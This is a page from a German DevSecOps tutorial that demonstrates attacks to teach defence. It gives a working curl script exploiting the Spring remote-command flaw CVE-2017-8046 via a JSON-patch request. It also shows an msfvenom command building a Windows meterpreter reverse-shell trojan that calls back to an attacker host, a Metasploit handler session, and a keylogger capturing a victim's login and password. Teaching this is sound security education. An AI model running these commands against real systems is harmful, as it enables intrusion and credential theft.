DevSecOps – selbst hacken und dabei lernen

Seite 3: Musterangriff

Inhaltsverzeichnis

Als Anmerkung sei darauf hingewiesen, dass in dem Beispiel in Docker kein Mailserver konfiguriert ist, deswegen kommt es zu einem HTTP-Status-Code 500.

Sobald ein HTTP-Status 302 auftritt, war der Angriff erfolgreich und die Reset-E-Mail ist auf die "Fake-Domain" zugestellt worden. Bei PHP gibt es bekanntermaßen häufiger Sicherheitsprobleme, aber auch Java-Frameworks sind im ähnlichen Maße betroffen. Zum Beispiel beim beliebten Spring Boot wurde Ende letzten Jahres der CVE-2017-8046 bekannt, der die entfernte Ausführung beliebiger Befehle ermöglicht. Diese Lücke wurde zunächst im nächsten Major-Release von Spring Boot gefixt, ist aber mittlerweile auch im 1.5-Release korrigiert. Die Ausnutzung der Lücke ist relativ einfach, solange man Zugriff auf die API der Anwendung hat, besondere Rechte sind nicht nötig:

APP_URL=$1
REMOTE_COMMAND=$2

curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://$APP_URL/entity
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"'$REMOTE_COMMAND'\").x", "value" : "pwned" }]' "http://$APP_URL/entity/1/"

Nachdem mittels POST-Anfrage ein Objekt angelegt wurde, lassen sich anschließend über eine PATCH-Anfrage beliebige Kommandos ausführen. Dabei können Hacker auch die Ausgaben des entfernten Kommandos auslesen. Somit ist schnell ein weiterer Dienst gestartet, der den direkten Zugriff erlaubt, wenn nicht weitere Sicherungsmaßnahmen wie SELinux zum Einsatz kommen.

Das Ganze lässt sich sogar eine Stufe weiter treiben. Man steckt sich seinen eigenen Trojaner zusammen, der gezielt Schwachstellen in einem Betriebssystem oder Browser ausnutzt. Das geht mit MSFvenom schnell und einfach:

msfvenom -p windows/meterpreter/reverse_tcp   — platform windows-a x86 -f exe LHOST="<<our_ip_address>>" LPORT=8888 -o /share/trojan.exe

MSFvenom ist keineswegs auf Windows beschränkt. Es unterstützt diverse Unix-Version und Mac-Versionen. Aufgrund der größeren Verbreitung bleibt Windows dennoch das lohnenswerte Ziel, gerade vor dem Hintergrund, dass ein guter Anteil Anwender nicht die aktuellste Ausgabe nutzt.

Nun startet man die Metasploit-Konsole (die Firewall sollte auf der Seite Port 8888 zulassen) und startet einen generischen Handler, der auf den "Trojaner" lauscht:

> msfconsole
=[ metasploit v4.16.58-dev ]
+ -- --=[ 1769 exploits - 1007 auxiliary - 307 post ]
+ -- --=[ 537 payloads - 41 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf exploit(multi/handler) > set LHOST "0.0.0.0"
LHOST => 192.168.69.20
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:8888

Ist der Trojaner nun auf einem Windows-System untergebracht (die Antivirus-Software sollte dazu deaktiviert sein), ist auf der Metasploit-Konsole der Verbindungsaufbau zu sehen:

[*] Sending stage (179779 bytes) to 172.27.0.1
[*] Meterpreter session 1 opened (172.27.0.4:8888 -> 172.27.0.1:44510) at 2018-06-03 10:22:35 +0000

In der nun gestarteten Meterpreter-Session lassen sich einige Befehle absetzen. Man startet exemplarisch den Keylogger und lauscht dem "Opfer" bei der Anmeldung auf eBay:

meterpreter > keyscan_start
Dumping captured keystrokes...

Nach der Anmeldung wird das Ergebnis angezeigt:

meterpreter > keyscan_dump
Dumping captured keystrokes...
ebay<CR>
superfunguy<Tab><UMSCHALT>My<UMSCHALT>Very<UMSCHALT>Password<CR>

Das Beispiel war sicherlich stark vereinfacht, und Metasploit kann deutlich mehr Exploits nutzen, zum Beispiel Jenkins Script Exploits. Aberes zeigt, wie einfach es sein kann, wenn Angreifer schon einiges über ihre "Opfer" wissen.